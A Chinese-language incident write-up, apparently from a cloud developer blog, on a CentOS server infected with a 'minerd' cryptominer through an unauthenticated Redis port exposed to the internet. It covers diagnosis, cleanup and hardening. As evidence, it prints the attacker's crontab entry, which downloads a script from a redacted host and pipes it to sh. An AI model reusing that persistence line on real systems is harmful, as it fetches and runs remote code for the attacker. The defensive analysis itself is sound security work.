服务器被植入挖矿程序排查案例

本文涉及的产品
Redis 开源版,标准版 2GB
推荐场景:
搭建游戏排行榜
云数据库 Tair(兼容Redis),内存型 2GB
简介: 主机的操作系统是CentOS7,应用架构是Java+MySQL+Redis。客户描述问题是有一个从下午2点到凌晨的秒杀活动。秒杀系统开始的时候是可以正常运行的,但是到了晚上7点就突然无法使用了,前台提交秒杀请求后,后端无响应,最终超时退出。

服务器被植入挖矿程序排查案例

主机的操作系统是CentOS7,应用架构是Java+MySQL+Redis。客户描述问题是有一个从下午2点到凌晨的秒杀活动。秒杀系统开始的时候是可以正常运行的,但是到了晚上7点就突然无法使用了,前台提交秒杀请求后,后端无响应,最终超时退出。

排查过程分析

首先登录服务器,查看整个系统状态。目标服务器是16核32GB,执行top命令发现平均负载在10左右,主要是被一个可疑的minerd进程消耗大量CPU资源,并且这个minerd进程还是由root用户启动的,已经启动了37min25s,当时时间是19:37。接着,又询问客户秒杀系统故障持续时间,客户回复大概半小时左右。

搜索关键字minerd发现这个一个挖矿程序,“挖矿”的本质是使用计算机解决一项复杂的数学问题,特定算法会消耗大量CPU资源,导致系统卡顿。

既然找到了问题,接下来就捋清思路解决问题:

  1. 清理挖矿程序。
  2. 排查挖矿程序的植入原因。
  3. 修复漏洞,安全加固。

清理挖矿程序

通过top找到minerd的进程号13343,根据进程号,查询产生进程的程序路径 。

#查询PID对应的可执行文件路径
ls -al /proc/13343/exe

上面命令的执行结果为/var/tmp/minerd,接下来执行kill -9 13343 杀死进程,并执行rm -rf /var/tmp/minerd清理挖矿程序。

再次执行top发现minerd进程已经不在,且平均负载已经下降,说明问题已经初步解决,但是一般植入挖矿程序都会修改crontab,检查/var/spool/cron/root发现如下计划任务:

*/5 19-23,0-7 * * * curl -fsSL https://*****/api/report?pm=*** | sh

可以看出,这个计划任务避开工作时间偷偷挖矿,具有一定隐蔽性。这也印证了客户提的晚上七点开始系统出现故障。 rm -rf /var/spool/cron/root删除计划任务即可。

排查挖矿程序植入原因

通过netstat -tnpl查看到Redis的6380端口监听在0.0.0.0上,这属于高风险操作。接着,通过iptables -nL发现INPUT链有一条关于6380端口的开放规则:

ACCEPT  tcp  --  0.0.0.0/0  0.0.0.0/0  tcp dpt:6380

这条规则使Redis对全网开放,且在外网可以使用redis-cli -h xx.xx.xx.xx -p 6380无密码远程登录Redis。黑客很有可能利用Redis漏洞,同通过反弹Shell注入crontab来植入挖矿程序。

询问客户为何开放6380端口。客户回忆说,因为开发人员要在家办公,需要远程连接Redis,所以要开放6380端口,开发人员处理完问题,运维人员忘记关闭端口,就导致了这次事故的发生。

对于线上服务器,是不能随意开放端口的,虽然问题体现在端口开放上,但本质是开发和运维的协作机制问题,如果加强沟通,肯定会避免此类问题。

修复漏洞,安全加固

  1. 设置防火墙,禁止外网访问Redis:

    iptables -D INPUT -p tcp -m tcp --dport=6380 -j ACCEPT
  2. 以低权限运行Redis服务。
  3. 修改Redis默认端口,6379、6380、6381都是Redis常用的端口,建议修改成不易被识别的端口。
  4. 给Redis添加密码验证,修改redis.conf,添加requirepass 密码。重启Redis生效。
  5. 清空密钥认证文件,rm -rf /root/.ssh/*
  6. 修复sshd配置文件/etc/ssh/sshd_config,可以检查修改了那些配置项,也可以从正常的系统复制一个sshd_config过来。重启sshd生效。
  7. authorized_keys存储着本地系统允许远程SSH无密码登录大的账号信息。默认情况下此文件权限为600可以正常工作,为了安全起见可以将authorized_keys的权限设置为只读、其他用户无权限,且无法修改此文件的权限,即:

    chmod 400 ~/.ssh/authorized_keys
    chattr +i ~/.ssh/authorized_keys
  8. 检查/etc/rc.local/etc/init.d下是否有可疑内容。

欢迎大家留言交流!

相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore     ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库 ECS 实例和一台目标数据库 RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
相关文章
|
15天前
|
存储 数据挖掘 Windows
服务器数据恢复—V7000存储raid5故障导致LUN无法访问的数据恢复案例
服务器数据恢复环境: 三台V7000存储,共有64块SAS硬盘(其中有三块热备盘,其中一块已启用)组建了数组raid5阵列。分配若干LUN,上层安装Windows server操作系统,数据分区格式化为NTFS文件系统。 服务器故障: V7000存储中有多块硬盘出现故障离线,阵列失效,LUN无法访问。需要恢复卷中所有数据(主要为dcm文件)。
|
16天前
|
Oracle 关系型数据库 数据挖掘
服务器数据恢复—服务器RAID5磁盘阵列数据恢复案例
服务器数据恢复环境: 一台服务器上有一组由5块硬盘(4块数据盘+1块热备盘)组建的raid5阵列。服务器安装Linux Redhat操作系统,运行一套基于oracle数据库的OA系统。 服务器故障: 这组raid5阵列中一块磁盘离线,但是热备盘并没有自动激活rebuild,当另外一块数据盘发生故障离线后,raid崩溃。 用户方要求恢复raid数据,同时要求还原操作系统。经过初步观察,raid中的这些硬盘没有表现出存在明显的物理故障的特征,也没有明显的同步表现,数据恢复的可能性很大。
|
21天前
|
存储 数据挖掘 虚拟化
服务器数据恢复—Raid5阵列两块硬盘硬件故障掉线的数据恢复案例
服务器数据恢复环境: 一台某品牌存储设备上有一组由10块硬盘(9块数据盘+1块热备盘)组建的raid5阵列,上层部署vmware exsi虚拟化平台。 服务器故障: raid5阵列中两块硬盘对应的指示灯亮黄灯掉线。硬盘序列号无法读取,通过SAS扩展卡也无法读取。
|
19天前
|
存储
服务器数据恢复—EMC存储RAID5阵列崩溃的数据恢复案例
服务器数据恢复环境: 一台EMC某型号存储设备,该存储中有一组由12块(包括2块热备盘)STAT硬盘组建的raid5阵列。 服务器故障: 该存储在运行过程中突然崩溃,raid瘫痪。数据恢复工程师到达现场对故障存储设备进行初检,发现raid中有两块硬盘掉线但只有一块热备盘成功激活,所以导致阵列瘫痪,上层lun无法使用。
|
8天前
|
算法 数据挖掘 Linux
服务器数据恢复—EXT3文件系统下邮件数据恢复案例
服务器数据恢复环境: 邮件服务器中有一组由8块盘组成的RAID5阵列, 上层是Linux操作系统+EXT3文件系统。 服务器故障: 由于误删除导致文件系统中的邮件数据丢失。
|
12天前
|
运维 Java Linux
【运维基础知识】Linux服务器下手写启停Java程序脚本start.sh stop.sh及详细说明
### 启动Java程序脚本 `start.sh` 此脚本用于启动一个Java程序,设置JVM字符集为GBK,最大堆内存为3000M,并将程序的日志输出到`output.log`文件中,同时在后台运行。 ### 停止Java程序脚本 `stop.sh` 此脚本用于停止指定名称的服务(如`QuoteServer`),通过查找并终止该服务的Java进程,输出操作结果以确认是否成功。
20 1
|
13天前
|
运维 Oracle 关系型数据库
服务器数据恢复—浪潮服务器硬盘出现坏道的数据恢复案例
服务器数据恢复环境: 一台浪潮服务器中有一组由6块SAS硬盘组建的RAID。服务器上划分了1个卷,存放Oracle数据库文件。 服务器故障&检测: 服务器上有两个硬盘指示灯亮黄灯,RAID崩溃,服务器不可用。 将故障服务器中所有磁盘标记后取出。由硬件工程师检测故障服务器上的取出的6块硬盘是否存在硬件故障,经过检测发现变黄的指示灯所对应的2块硬盘存在坏道且SMART的错误冗余级别已经超过阈值。
|
19天前
|
弹性计算 安全 Linux
阿里云国际版使用ping命令测试ECS云服务器不通的排查方法
阿里云国际版使用ping命令测试ECS云服务器不通的排查方法
|
19天前
|
人工智能 运维 Kubernetes
87cloud案例分析:阿里云国际服务器如何支持在线教育
87cloud案例分析:阿里云国际服务器如何支持在线教育
|
2天前
|
存储 Unix 数据挖掘
服务器数据恢复—SAN LUN映射出错导致文件系统共享冲突的数据恢复案例
服务器数据恢复环境: SAN光纤网络环境,存储由一组6块硬盘组建的RAID6阵列构成,划分为若干LUN,MAP到跑不同业务的SUN SOLARIS操作系统服务器上。 服务器故障&分析: 因为业务需要,用户在该光纤存储环境中新增一台SUN SOLARIS操作系统服务器。将存储中的某个LUN映射到新增的服务器上,但是映射的这个卷之前已经MAP到SOLARIS生产系统上的某个LUN上了。因为未及时察觉这个问题,新增服务器已经对该LUN进行部分初始化操作。 在SOLARIS操作系统层面磁盘报错,重启后卷无法挂载。联系SUN工程师检测后,执行了fsck操作。操作完成后虽然文件系统可以挂上,但是发现大量